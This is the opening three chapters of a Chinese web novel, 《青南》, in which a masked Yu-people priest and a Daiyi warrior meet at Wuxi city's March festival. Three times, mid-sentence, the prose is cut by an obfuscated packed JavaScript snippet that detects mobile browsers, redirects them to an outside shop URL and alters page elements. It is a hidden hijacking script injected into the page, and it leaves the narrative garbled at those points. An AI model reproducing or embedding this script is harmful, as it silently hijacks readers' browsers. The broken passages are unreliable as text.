《青南》 1. 第 1 章 营火还有余温,使用营地的人离开不久,青南放下拨弄木炭的树枝,轻轻拍了拍手,他一身素白长袍,头戴白羽冠,给人皑洁脱离俗尘的感觉。 随从乌狶卸下背负的行囊,执柄长矛迅速离去,他的身姿矫健,头上插的两支黑色羽翎在风中飘动。 过了一会,乌狶返回,跟坐在篝火旁的青南禀报:“神使,人已经走远了。” 青南正弯身察看脚边的碎陶片,他捡起一块,用涂染植物颜料呈现朱色的手指慢条斯理地摩挲陶片表面,那陶片是某种器物的一部分,造型像似鸟喙。 “不用追,是岱夷。” 面具遮住青南的大半张脸,看不见他的神情,只见双唇翕动,声音很年轻。 陶背壶的正面有一个鸟喙装饰,容易辨认。 陶背壶,是岱夷部族特有的一种装液体的容器,一向或背或系在背上、腰间,应该是使用时不小心摔地上,留下一堆碎陶片。 乌狶有一刹那流露出疑惑的表情。 岱夷,怎么会出现在这里? 哪怕身为猎人,经常在广袤的山林里活动,乌狶也没见过几次岱夷。 营火再次燃起,侧扁足陶鼎里米粥沸腾,竹串的溪鱼已经烤好,米粥的香气夹杂着烤鱼的香味,令饥肠辘辘的旅人食指大动。 米粥盛在黑陶碗中,烤鱼放在漆木盘上,食物被呈到青南面前。 青南取出一只小巧的玉刀,熟练地切食烤鱼,他不慌不忙享受风尘仆仆旅途中的一餐。 夜幕下,虫兽叫声在周边彼此起伏,每一种声音都对应一种动物,乌狶能逐一辨认,辨别安全与危险。 营火映红乌狶粗糙的脸,他坐在火堆旁,低头用砺石打磨石镞,使它们更为锋利。 在路途上遭遇岱夷,凭借他以往的经验,往往都不会有什么好事。 打磨好石镞,乌狶抬头,目光往身侧投去,躺在荻席上的神使已经入睡,他身上披着一件暗青色大氅,头侧放置一只大漆盒,漆盒里边装着羽冠。 羽冠摘下了,面具还在他脸上。 从来没见过神使摘下面具。 乌狶裹住一条用獾皮缝制的斗篷,他一手搭在腰间,握住刀柄,一手执住长矛,就这么守在营火旁睡去。 天还没亮,乌狶从睡梦中醒来,发现营火熄灭,荻席上的人不见了,他裹好斗篷,起身寻找。 遥望山坡上有个人影,乌狶登高,此时东方欲晓,四周物品有较清晰的轮廓,他见到神使正朝着东方跪拜,太阳绽放出第一缕光芒。 鬯酒沿着装有木柄的玉瓒缓缓注入漆觚,青南修长的手指拈住玉瓒,轻轻搅拌漆觚中芬芳的鬯酒,香馥的气味在晨风中腾升,弥漫。 伫立山崖,双手高捧漆觚,待群山的山脊金灿辉煌,河流莹莹泛光,青南缓缓地将漆觚中的鬯酒浇注于风中,祭祀天地。 这是祼礼。 晨曦中的白袍神使被赋予不容置疑的神性,光芒万丈,让人不敢直视。 乌狶跪地虔诚地祈祷,晨曦照亮他压低的背脊。 日有日神,月有月神,山有山神,河有河神。 鸟有灵,鹿有灵,鱼也有灵,世间万物皆有灵,人不过是天地间的万物之一。 玄旸听见堂弟玄邴在下方传来一阵急促唤声,他停下脚步,另一名伙伴麂子连忙大声回应:“邴哥,怎么啦?” 玄邴还在叫喊:“哥!麂子!你们快过来!” 雾气袅袅,缭绕山腰,只见小径上有一黑一白两个身影,白色的身影尤其引人注意,须臾,白影像林中的精灵般消失在翠绿的竹林间。 “快看,那是人吗?” 来到堂弟的位置,瞥见山道上的白影,玄旸有点意外。 麂子手探进衣领,抓住脖子上挂的护身符,小声说:“我们是不是遇到湖神了?” 在岱夷的传说里,湖神夜晚是只天鹅,白日化作白衣女子,她容貌美丽,性格乖张,会制造林雾,迷惑闯入她领地的旅人,将他们困死在荒山野岭。 竹林幽幽,再看不见那缕神秘白影,玄旸很笃定:“是人。” 麂子呢喃:“是人怎么这么怪,脑袋上好像还长着什么东西?” 玄邴说:“身影一晃就不见了,衣服白得像雪,轻得像风,还以为是鬼。” 虽然只是一瞥,玄旸看得比较清楚,他伸手探向腰侧,解下一只彩绘的陶背壶,喝了口水:“羽人族,头上戴的是羽冠,身上穿的是蚕丝织的长袍。” 麂子放下抓护身符的手,挺直身板说:“獐牙大哥,年前我跟祖父去鱼埠走亲戚,就遇见过羽人族,他们样子跟我们差不多,不是这个模样啊。” “獐牙”是玄旸的外号。 玄邴伸手讨水喝,玄旸将陶背壶递给他,漫不经心回答:“像这样戴羽冠,穿丝袍的是羽人族的巫祝,他们一般都待在祠庙里侍奉鬼神,不怎么出来见人。” 昨夜露营,玄邴失手摔碎自己的陶背壶。 灌下一口水,玄邴猛点头:“对对我听说他们一个个打扮得像鸟人,才被叫做羽人族——奇怪……羽人族怎么会出现在江皋族的土地上?” 确实,连经常在外头游走的玄旸都感到意外。 营火啪啪燃烧,火光照亮四周,玄邴用竹夹给陶箅上的野鸭翻个身,使它受热均匀,不会一面烤成焦炭另一面半生不熟,他话多,边烤鸭子边念叨:“哥为什么不同意去五溪城?” “是担心我们绕道去五溪城耽误事,要被我爹怪罪吗?” “哥放心啦,有我在,老头子骂也是骂我。” 玄旸手握石片正娴熟地将一头野鹿剥皮,他说话时没抬头,手仍在干活:“几年前,我和五溪城的城主有一个约定,那个约定到今日也没有履行。” 麂子背来一大捆柴薪,他放下石斧,激动问:“约定?什么约定?” 将鹿皮完整地从大鹿身上剥下,一眨眼功夫,玄旸手中的石片快速替换成骨匕,他挥动骨匕,流利地划开野鹿的腹部。 麂子等了好一会儿,没等到回答,急得抓耳挠腮。 玄邴沉不住气:“哥,你快说是什么约定?你要是答应人家又做不到,我们帮你还不行嘛!” “就这么想去五溪城?”去掉不能食用的内脏,玄旸开始分割鹿肉。 “当然,过两天就是江皋族的三月节,一年到头最热闹的就是这个时候!我听说五溪城的城主好客又大方,会拿出最好的酒款待客人,想喝多少有多少!” 玄邴刚说完,麂子附和:“出发前角巫跟我说,我这趟出远门,会在路上遇到一件美事。说不定,我能在五溪城娶个妻子呢!” 一条鹿腿在半空抛出漂亮的弧线,投掷向麂子,麂子反应敏捷,稳稳接住,他听见玄旸说:“想得美,五溪城的姑娘不外嫁,你在那里娶妻,就得一辈子留在那里。” “啊?!”麂子一愣。 “不怕,麂子到时就和相好逃回岱夷,就不信他们还能追过来要人。”玄邴开着玩笑,手执竹夹子,将烤好的野鸭从陶箅上取下来。 “哥,你自己也说约定是好几年前的事,人家五溪城城主可能早就忘了。” 玄邴把烤鸭放进陶盘,掏出一把石刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588565|143189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大卸八块。 陶盘放置切好的鸭肉,陶碗盛上香喷喷的蒸米饭,三人在营火边进餐,营火上架起一根肥美的鹿腿,慢慢熏烤,陶箅上炙着切薄的鹿舌,丰盛一餐。 仰躺在地上,饭饱犯困,玄邴边打哈欠边闲扯:“哥去过那么多地方,认识那么多人,就没有遇见想娶回家的女人吗?” “哥可是我们岱夷族的武士,不多生几个孩子说不过去吧。” “还不去收肉干。”玄旸抬脚踢向躺平絮絮叨叨的玄邴。 一头成年公鹿,够他们三人吃好几顿,鲜鹿肉容易腐败,制做肉干能长久保存,充当旅途上的干粮。 扯开随身携带的一口麻袋,往麻袋里塞鹿肉干,麂子和玄邴都将各自的麻袋塞得满满当当,鹿肉干还剩一些。 “獐牙大哥,你还要吗?”麂子回头问话。 “不要了,留给我们的同路人。”玄旸麻利地将一张刚熏干的鹿皮卷起,他夹着鹿皮返回自己的卧处。 这张新鹿皮与其余五张鹿皮结实捆在一起,随手一掷,扔在身侧。 两条笔直的长腿悠闲交叉,玄旸躺在树叶铺垫的床上,闭上眼准备入睡。 同路人。 羽人族巫祝和他的随从,说不定也要去五溪城。 玄旸年少时见过穿白袍戴白羽冠的羽人族巫祝,印象相当深刻。 那年,玄旸跟随舅舅出使羽人族的旧都——羽邑,正好遇到一场祭祀活动。 玄旸和舅舅身为远方来客,被允许观看祭祀,他见到身穿各色丝袍的巫祝从身边走过,巫祝都戴着面具,不以真面貌示人,他们的长袍宽大,羽冠华美。 巫祝沿着祭台的长坡行进,在高耸陡斜的坡道上跳起降神舞蹈,舞蹈模仿鸟类的姿态,显得诡谲怪异,又不乏美感。 一位白袍巫祝深深吸引住玄旸的目光,那人身形颀长,肢体充满韵律,舞蹈刚劲飘逸,高亢激扬。 洁白的羽冠,白色的衣裾,左手腕上有一只红玉镯,脸上戴着白鹭面具。 那么鲜明,至今还历历在目。 天刚刚亮,玄旸和伙伴离开昨夜宿营的地方,匆匆赶路。 午时,青南和乌狶再次在路上发现岱夷的营地,还见到这伙人留下的鹿肉干,就挂在营地旁边的一棵大树上。 乌狶嗅了嗅鹿肉干,食物没有异味,但是担心有毒,不敢食用。 “神使,这些人一直跟着我们。” “他们也要去五溪城。”青南眺望南面的山野,仿佛见到三名年轻的岱夷男子正在林间穿梭。 屡次发现他们宿夜的营地,从痕迹推测有三个人,都是青壮男子,步伐飞快。 离目的地已经不远,五溪城,就在前方生机勃勃的林泽里。 ** 五溪城的守卫远远望见装束奇怪的来客,感觉对方大有来头,连忙进城通知城主,青南和乌狶候在城下,城门紧闭,士卒还没有得到启门的命令。 听见城墙上传来交谈声,是岱夷的语言。 青南抬起头,望见三名年轻的岱夷男子,其中一位个头特别高,身披皮质斗篷,腰间挂着一件象征岱夷武士身份的骨雕筒,背着漆色陈旧的长弓与箭箙,这人年纪约莫二十岁,正双臂抱胸,饶有兴致,居高临下地打量自己。 青南觉得此人的眉眼熟悉,多瞧了一眼。 耳边传来城门开启的声音,青南抬手整理被风吹乱的衣袍,正好露出左手臂上戴的玉镯。 玄旸直勾勾盯着青南的手腕,红色的镯子,在白色衣物的衬托下显得特别鲜艳。 似曾相识。 2. 第 2 章 时值三月,五溪城的春花漫山遍野,城内城外,时不时能听见青年男女悠扬的歌声。 广场上整齐竖起一面面旌旗,每面旌旗象征一个氏族,这些氏族中既有耳熟能详的近邻,也有远方的来客。 城主皋月在宽敞明亮的大屋款待来客,青南的位置被安排在城主身旁,受到特殊待遇。 五溪城时隔多年,再次接待来自羽人族的神使。 宾客众多,耳边都是谈论声,其中几个声音特别响亮。 “灰犬,快看那人。” “啧,别扯我袖子,我喝酒呢。” “我听人说他是羽人族。” “我还以为羽人族都是长着爪子的鸟人咧,原来也有手有脚,你说他干么戴张怪面具唬人,也不知道是个老头,还是小伙。” “我看就是一个嘴歪斜眼的丑怪,才把那张丑脸遮起来,怕被人瞧见。” “灰犬,你小声点,别让他听见。” “怕什么,他又听不懂。来,你们听我说,等他喝醉了,你们配合我,我要去摘掉他的面具,哈哈准能把这里的娘们吓哭!” 飨宴上,来自大皋城的少年灰犬与他的同伴高声交谈,他的话肆无忌惮。 “我要是你,就好好喝酒,把嘴巴闭上。” 玄旸将一只大陶尊用力拍在木案上,他使用江皋族的语言,呵斥不知好歹的少年。 正在兴头上,突然被人打断,灰犬恼怒:“我知道你,爱学舌的岱夷!别以为个子高我会怕你,想打架吗?问问我的拳头。” 灰犬朝玄旸挥举双拳,脾气暴躁。 “灰犬!” 一名老头出声喝住冲动的少年,声音严厉。 灰犬不情不愿地放下拳头,眼神仍凶狠地瞪向玄旸。 老头急忙倒上一杯酒,上前跟玄旸赔礼道歉:“岱夷的武士,你是个心胸比大江宽广的人,不要跟他计较。他是我的小儿子,都怪我宠溺他,没将他教好。” 玄旸说:“老叟,我的心胸可没那么宽广。” 老头显得很不安,还想说点什么,玄旸已经接过他的酒杯,一饮而尽。 往往,玄旸不会在意别人的挑衅,一般能动嘴解决的事,他也懒得动手。 回到自己的席位坐下,玄旸与同伴交谈两句,继续饮酒。 看向与人畅饮的玄旸,还有那名出言不逊的少年,青南不留痕迹地收回目光,他对城主说:“是覡鹳的东西,整理他房间时发现。青宫大覡告诉我,这些年来外出云游的只有覡鹳,也只有他会带来五溪城的物品。” “神使说的那件东西,现在就带在身上吗?”城主皋月身体侧向青南,她用手挡住别人递来的一杯酒,示意对方稍等。 周边是喧闹的客人,不时有人过来向城主敬酒,城主和青南的谈话一再中断。 青南从随身物品里取出一只长扁形状的木盒,他将木盒递给城主。 打开木盒,里边装着一枚木签,木签上有一行用炭条书写的奇怪符号。 城主拿起木签,打量上面的符号,很快又将东西放下,好像已经失去兴趣:“是我族人使用的图文,我不能告诉神使它上面写着什么内容,得神使自己解读。” 青南把木签放回盒子,将盒子收起来,他说:“请五溪君允许我留在五溪城,直到我学会你们的图文。当然,我也会传授你们羽人族的知识,从你们的祠庙里挑选一个聪慧的孩子,送到我身边来。” 城主为自己与青南的酒杯倒满酒,她高举酒杯,脸上终于有笑容:“神使想住多久都行,五溪城永远欢迎青宫来的神使。” 青南双手捧起一只彩陶酒杯回敬城主,他将杯沿递到唇边,饮下杯中美酒。 面具罩住青南上半张脸,露出嘴唇和下巴,面具上留有眼洞,不影响饮食与视力。 “时隔多年,羽人族的神使再次来到五溪城,为我们带来好兆头。如今,人们不再相信朋友,心里充满猜忌,甚至用杀野兽的武器互相攻击。可是我们不同,五溪城绝不会背叛朋友,我们会一直遵守在神明跟前发的古老誓言,对待朋友,像对待兄弟姐妹那样真心!” 城主这段话有意说给在座的每一位客人听,她提高声音,原本嘈杂的人群顿时安静下来。 城主说完话,客人纷纷应和,向城主举杯表达敬意。 “五溪君,老叟有一句话想说。” 白发白须的老人拄着拐杖颤颤巍巍站起,慢悠悠向城主行礼。 “沅叟有什么话尽管说。”城主恭敬地回礼。 “老叟想说的是,如今的人啊,确实已经忘记古老的约定,也不再遵守祖先在神明前发的誓言。” 沅叟口中没剩几颗牙,说话漏风:“我来五溪城的路上,就在渡滩遇到一伙恶人,他们把我的衣服和食物抢去,对我这个老头子是又踢又打!如果不是我的孙子在照顾我,我已经死在路上。” 城主问:“沅叟,能认出攻击你们的是什么人吗?” 老人发出叹息,无奈摇头,站他身边的孙子回答:“五溪君,他们夜里突然出现,抢了东西就跑,没看清楚是什么人。他们说的话,我和祖父一句也听不懂,我能肯定他们不是地中族人,也不是江皋族人。” 城主若有所思,神色有些忧虑,须臾,她抬头微笑:“你们缺什么东西尽管跟我说,我这里都有。” 众人听了祖孙的讲述,纷纷议论,类似的事情显然不只沅叟祖孙遭遇过。 以前出行最怕野兽,遇到人是件幸事,能够得到帮助;这些年出门在外,在路上遇到陌生人,比遭遇野兽还要提心吊胆。 正在饮酒闲话,突然外面传来一阵骚动,动静很大,有一大群人在大叫大嚷,这群人用的是地中族的语言,另有一些人说的是江皋族语,正在劝阻。 一名年轻女子不知道从哪里冒出来,她做猎人装扮,携带弓箭,身上所有饰物都显得粗粝,却是个极为美丽的女子。 女子快步穿过客人席位,来到城主身旁,她一出现,立即引来众多年轻男子的目光。 女子贴着城主的耳朵说悄悄话,城主脸上没看见情绪变化,只是点了下头。 城主外出处理突发状况,不少客人跟随。 麂子激动地扯住玄旸袖子:“獐牙大哥,你认识那个姑娘吗?她叫什么名字?” 玄旸明知故问:“哪个姑娘?” 麂子脸红:“跟城主说话的那个。” 玄旸说:“阙月,城主的女儿。” “哥,我们也过去帮忙!” 玄邴喝得醉醺醺,摇摇晃晃站起身,要跟出去看热闹,被玄旸一把按住肩膀,给按回去。 留下的客人七嘴八舌,都在讨论。 “肯定是白湖那伙人,我白天看见他们被拦在城门外,果然来闹事。” “白湖人干么到五溪城闹事?他们离这里可远啰!” “你们没听说吗?” “听说什么?” “就是好几年前,有个年轻的白湖勇士,独自一人乘坐小舟渡过大江,来到五溪城,五溪君欣赏他的勇气,热情招待他。谁也没想到白湖勇士居然和五溪城的巫女相恋,还把那名巫女诱拐了。” “这事我也有耳闻,据说白湖勇士是白湖君的孙子,叫白章,巫女是五溪君的女儿雾月。从这以后,五溪城就不再欢迎白湖来的人。” 有人很吃惊,发出惊叹声,有人早就听过传闻,不以为意。 “真过分,诱拐城主的女儿,还敢在城门外叫骂!” “白湖人为什么来闹事,看来你们根本不知道呀?” “你知道?你说是为了什么?” “让你说你又不说!” 好几人围着一名地中族男子,想让他再次开口,男子似乎有顾虑,不肯往下说。 青南从席位站起,他刚走动,四周的目光纷纷朝他投去,绝大部分人是第一次见到羽人族的巫祝。 人们对巫祝敬畏又好奇,忌惮巫祝的力量,不敢靠近,远远观察。 青南脚步从容,不理会别人的窃窃私语,他经过灰犬的位置,袖子轻轻拂过木案上装酒的红陶杯,动作很细微。 灰犬和他的同伴全都跑到外面凑热闹,席位空无一人。 察觉一双犀利的眼睛正盯着自己,青南眼角的余光一瞥,已经知道是谁,哪怕双方的视线始终没有碰触。 青南若无其事离去,玄旸盯着他修长的背影,直到背影消失不见。 以玄旸对巫祝的认识,灰犬的酒杯肯定被加了料。 危险又神秘,巫祝就是这样的一类人。 五溪城是座小城,说是城,规模只比普通聚落大些。 最早在这里生活的人们,先是在居住区域的外围挖出壕沟,用来防范四处游荡的野兽,很多很多年后,才在壕沟内侧筑起一圈土墙,防范外界的敌人。 城小有城小的好处,城外发生的事情,会很快传到城主的耳朵里。 来闹事的白湖人已经被赶走,五溪城的夜晚也降临了,城墙上空高悬一轮圆月,一簇簇篝火在城外的林地、溪畔、湖边燃起,城外时不时传出青年男女的歌声与笑声。 江皋族人特别重视三月节,节日期间,男青年会精心打扮,成群结队,在不同氏族之间走动,寻找愿意与他们相恋,成亲的女子。 在这样的节日里,岱夷光棍三人组只有麂子参加篝火会,他牵着青年男女的手,围绕篝火跳着欢快的舞蹈,露出一脸憨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我没忘记当年跟五溪君的约定,不过——我对你的记忆,就记得你小时候流鼻涕玩泥巴……还是说,你喜欢我这样的?” 矛头往下移动,瞄准咽喉,这姑娘天不怕地不怕,惹怒她说不定真敢下手。 举起双手,玄旸表示妥协。 阙月缓缓收回长矛,淡淡地说:“在我看来,喜不喜欢没那么重要。如果五溪城需要你,我会选你当我的丈夫。” 留下这句话,阙月转身离去。 “阙月,明明有一种方法让白湖人回去,把雾月的孩子交给白湖。” 这一段话,玄旸用的是岱夷话,阙月听得懂。 阙月没有回过头。 春寒料峭,果然夜风有点冷,玄旸揽紧斗篷,心想那名羽人族巫祝,今夜不知道被安排住在哪里? 按以往规矩,应该就住在祠庙附近吧。 漫无目的在城中闲逛,耳边传来城郊欢快的歌舞声,热闹的三月节啊。 与其为还没到来的麻烦事烦恼,不如跳舞。 月上柳梢,参加篝火会的男女陆续离开,有的和伙伴们说说笑笑,一起回城,有的花前月下说着悄悄话,情意绵绵。 麂子孤单一人来到篝火边坐下,身旁只有靠着树干坐,手捧一只陶酉,用根芦苇杆吸酒的玄旸。 “獐牙大哥,你喝那么多酒,要是喝醉了,我扛不动你。” “江皋族人会在秋天将采摘的野果子塞进陶酉里,酿成果酒,来年春天喝,他们管这种酒叫春酉。五溪城的春酉味道最好,要尝尝吗?” 陶酉递到麂子手上,他拿来一根芦苇杆,插进陶酉细长的壶口,吸了口酒,有点酸,有点甜。 “我不会说江皋话,没有姑娘理我,獐牙大哥,你怎么也一个人?”麂子用一只手托住腮帮子,模样有点沮丧。 “我这么大年纪啦,人家姑娘瞧不上。”将手臂搭在后脑勺上,玄旸身子后仰,躺在树干上。 他刚来篝火会,篝火会就散会了。 正无所事事,听见有人从身边经过的对话声,玄旸抬头一看,见到灰犬被伙伴扶着走,脚步发虚。 “他怎么了?” “跳舞跳到一半,就听见这个人喊肚子疼,跑去拉肚子,拉了好几回呢。” 麂子回忆之前的事,因为频繁腹泻,这人也没和姑娘搭上话。 “傻子才去招惹巫覡。”玄旸低语。 这是一句岱夷俗语,巫指女巫,覡指男巫。 “獐牙大哥,你说什么?”麂子没听清楚。 “回城。”玄旸站起身。 进城后,玄旸突然说还有点事,让麂子先回去长屋,麂子刚想问什么事,眨眼功夫就不见对方身影。 路过城主及其家属的住宅,沿着一条鹅卵石铺的小路行走,来到一片桃林,祠庙就在里边。 祠庙旁边,有几栋单独的小屋,其中一间屋子的窗户亮着灯。 “傻子才去招惹巫覡。”玄旸自嘲,还是朝那扇窗户走去。 3. 第 3 章 祠庙里的巫女早早睡下,她们不过三月节,在一片漆黑之中,只有青南的小屋亮着光。 青南在灯下碾磨草药,他专注于手头的事情,心无旁骛。 双指捻起石板上的药粉,用指腹感知它的细度,细度刚刚好。他的手指用特制的植物染料染成朱色,这层染料能保护他的皮肤。 青南取来一只核桃大小的陶罐,用一件特制的竹器收集药粉,耐心地将药粉一点一点装进小陶罐里。 整个过程,要避免吸入药粉,青南呼吸声平缓,心止如水。 望向窗外的月亮,夜已经很深,再听不见城郊举行篝火会的鼓点声和人语声,青南喜欢此刻的清静。 摘下白羽冠,躺卧在席子上,灯已经熄灭,屋内昏暗。 合上眼睛,以平躺的姿势准备入眠,才躺下不久,青南就听见窗外传来细微的动静,像似有人在踩踏草地。 早些时候,有一个不知天高地厚的男青年溜进祠庙,用骨笛吹奏曲子,向巫女求爱,很快就被巫女撵出去。 又是哪个大胆狂徒,想向祠庙里的巫女示爱,却找错地方? 等候许久,窗外再没有动静。 窗外的人,并没有离开。 如果这人一直藏匿,青南有的是办法让他走不了。 将刚才研磨的药粉,洒向那人藏匿的位置,只要对方将药粉吸进口鼻,就会陷入疯癫,手舞足蹈。 窗外的人大概在等候时机,也许在等我熟睡,青南想。 总有一些人不知死活,出于各种目的,妄图窃取巫覡的物品。 青南采取行动,手指刚摸向装药粉的小陶罐,忽然听见吹叶子的声音,起初他以为听错了,仔细听,真有人在窗外用叶子吹奏音乐。 摘下一片叶子,放在唇边,站在月夜下,心上人的窗外吹奏曲子。 青南一愣,松开手里的小陶罐。 曲子婉转悦耳,技巧娴熟,要是姑娘听见,会从屋内向窗外好奇探看吧。 青南闭着眼,一直没有理会,等待曲终窗外人离开。 屋里人不搭理,说明求爱失败,吹奏乐器的人就得走开,这是规矩。 出乎意料,窗外人没有离去,吹完一支曲子,稍作停顿,又继续吹奏。 半夜扰人清梦。 “你找错地方了。” 青南在撒药粉和出声之间做出决定,他说的是羽人族的语言,根本没打算进行交谈。 只要出声,听到是男子声音,窗外人就知道自己做了件蠢事。 吹叶子的声音戛然而止,传来年轻男子的声音,用羽人族语言回答:“没找错,正是这个窗户,没规定不许追求青宫之覡吧?” 低哑的笑声,说的羽人族语很流利。 羽邑的祠庙叫青宫,所以青南被称作青宫之覡。 在五溪城,懂羽人族语的外族人寥寥无几,大概就是那个岱夷武士。 青南对小陶罐施加力道,在出声和洒药粉之间,他重新做选择。 这种特制的陶罐火候低,用力捏就能捏碎。 “你会说羽人族的话,也知道羽邑的青宫,那你知道冒犯神使会招致什么样的报应吗?” 青南还没靠近窗户,就听见窗外人说:“知道,神使一般会用赤蛇毒,断魂草之类的东西夺人性命,然后宣称对方惹怒天神,遭天神之惩。我可不想死,神使还是打消这个念头。” 狡黠,反应敏锐,窗外人甚至倒退了一步。 青南把小陶罐放进腰间挂的布囊里,他站在窗前,看见月光下立着一个高大挺拔的身影,确实是那名岱夷武士。 这个身影还是熟悉的,不过是从少年长成青年。 “从羽邑到五溪城的路途漫漫,来一趟不容易,神使想了解这里的风土与人情,增长见识,不能只待在祠庙里。三月节的篝火会持续一旬,今天是第四夜,夜里跳傩舞的人都戴面具,神使就是过去,在篝火会上跳跳舞,喝几杯美酒,也没人会在意。” 那人说着说着,靠近窗户,站在青南面前,个头真高,对视需要仰视。 青南模模糊糊看见对方的五官,还有他嘴角的笑意。 那人揶揄:“错过这么盛大的节日,以后未必有机会。神使是怕自己被热情朝气的青年男女搅乱心绪吗?我听说青宫之覡不能有家室,没听说到死也要保有童贞。” 大概是适应黑暗,已经能看清我的动作,才敢这么肆无忌惮,青南冷冷说:“没兴趣,只觉得吵闹。” 确实,玄旸的眼睛已经适应黑暗,他不仅能看清青南的手放在哪里,能随时做出躲避反应,还看见青南发髻上插的两件玉器,与及他抬起下巴,疏远,淡漠的神态。 “你从以前就喜欢独处,这么多年过去,还是没变。夜很深,不扰你,我走了。”玄旸揽紧斗篷,似乎有些无趣。 “你认识我?”青南试探。 “青南,你记性不好。” 玄旸直接唤名字,他当然认识。 最熟悉的名字,是自己的名字,听见却有种陌生感,已经好多年没人这么叫。 成为青宫之覡,需要扔掉自己原来的名字,青南现在名字是:鹭。别人称呼他神使,或者覡鹭。 ** 青南站在供奉神祇的祠庙里,向屋中陶塑的地母献上一枝桃花,这是五溪城的传统,将鲜花献给神祇。 阳光从窗外照入,一缕光芒正好落在地母的脸庞,她头戴陶制的彩色花冠,有双玉石做成的漂亮眼睛,嘴角微微上扬。 高大的地母陶塑身旁摆放各式泥塑的小动物,有犬、有猪、有鱼、有燕、有青蛙,捏得栩栩如生。 在进屋之前,青南就在屋外见到数量众多的泥塑小人,这些小人叠放在石板上,有的年代久远,已经破损,也有刚捏的,泥土还没干。 有的小人被捏得很丑,有的小人形神兼备,显然出自不同人之手。 从屋子里出来,青南询问带领他参观祠庙的大巫:“为什么在这里摆放这么多泥人?” 大巫说:“每出生一个孩子,孩子的母亲就会捏一个泥人,供在这里,向地母祈福。” 捡拾掉落在泥人堆的落叶、枯枝,大巫弯着腰,动作笨拙,她年纪大了,老眼昏花。 “你们羽人族没有这样的习俗,当年覡鹳也跟我问过同样的话呢,不想……这么多年过去了。” 大巫的手停滞在半空,她抬起头,看向青南:“覡鹳还活着吗?” 祠庙前方是一片盛开的桃林,院内种有花草,这里充满生气,阳光明媚,听见“覡鹳”这个称谓,让青南有一刹那仿佛身处在宏大,深邃的青宫里。 林风拂脸,风中携带粉色的桃花瓣,花瓣落在衣领上,也吹响身旁大巫腰间佩戴的一串陶响器,青南回过神来,见大巫正在等待他回答。 “覡鹳……青宫大覡记得,覡鹳最后一次出行是在七年前,他独自远行,从此再也没有他的消息。” “啊,已经不在人世了吗。”大巫不忌讳生死,陈述事实。 独自远行的旅人,往往会遭遇不测,山野遍地是猛兽,路途上也可能遭人杀害。 青南想说未必是死了,话被他咽下,当年覡鹳背负使命远行,青宫至今还在等待他归来。 大巫领青南走到一间阶前种有蜀葵的小屋,她说:“我族的图文一向不传外人,就是在族内,懂得读写的人也很少,既然五溪君答应传授给你,我不会阻拦。” “巫盈就住在这间屋里,她会教你我族的图文。” 门内探出两个脑瓜,是两个活泼的小女孩,她们对来客感到好奇,还是第一次见到装扮这么奇怪的人。 屋内有名年轻女子,只看到一个窈窕的身影。 “鹭神使,做为交换,请从那两个女孩中挑一个,将一项羽人族的知识传授给她。” “还有其他的孩子吗?” 青南随口一问。 大巫的表情似乎有些微妙:“还有一个孩子,跟巫暮住在另一间屋子,那孩子生来愚笨,不合适。” 巫盈十七八岁的年纪,服饰华美,容貌娇好,有一头乌亮像长夜的头发,青南看见她,立即想起白湖勇士诱拐五溪城巫女雾月的故事。 五溪城的巫女很美。 桃花灼灼,和风徐徐。 巫盈在屋内教青南五溪城的图文,两个女孩在屋外玩耍,说说笑笑,她们都不到十岁,身份是巫女,也是孩子。 “这里总共十支木签,每支木签上的内容我都已经讲述过一遍,鹭神使有什么不明白的地方吗?” 巫盈收拾散落在木案上的木签,将它们依次摆放。 五溪城祠庙收藏的木签形制小巧,上面写的图文整洁清秀,显然都出自女子之手。 青南已经浏览过每一枚木签,并记下上面的每一个符号,他说:“我想知道祠庙里收藏的木签有多少?” “将近一千支,不少木签年头太远,字迹已经模糊,还能辨认上面图文的木签大概八百三十支。” 巫盈对祠庙里存放的木签了如指掌,她可能每一支都摸过,看过。 青南提议:“从明日开始,我希望你能一天讲解三十支木签。” “三十支,能记住吗?” “能。” 巫盈抬起头,看向青南脸的脸——看到一张面具,和面具没遮住的眼睛和唇,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588567|143189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线条流畅的下巴,她第一次端详,内心大概也好奇面具下的真容。 “可以,你以后每日午时过来,清早我要摘花。” 巫盈将木签收拢,放进一只长木盒里,合上盒盖,她站起身,裙摆缀饰的数枚陶响器随着她的动作而响动,声音清脆悦耳。 青南出来,见屋外只剩一个女孩,正蹲在花圃旁逗小狗玩,另一个女孩不知去向。 女孩问:“羽邑很大吗?离我们这里远不远?” 没等对方回答,女孩又问:“你的面具要是摘下来,会给别人带来厄兆吗?” “你从哪里听来?”青南低头,留意到女孩脖子上戴着鲜花项饰,项饰的样式复杂,颜色搭配得鲜艳夺目。女孩脚旁有一只还没编完的花篮,与及做为编织材料的鲜藤蔓与花枝。 “我自己想呀,我说得对不对?”女孩把小狗抱在怀里,仰起头,很得意。 “月牙。” 传来巫盈的唤声。 “盈姐姐,我在这儿呢!” 女孩从花圃里蹦出,朝屋内的人欢喜挥手。 青南与女孩交谈时,没留意身后有人,等他抬头,看见五溪君的女儿阙月背着弓箭,左手提一篮野花,右手牵着一个浓眉大眼的小女孩。 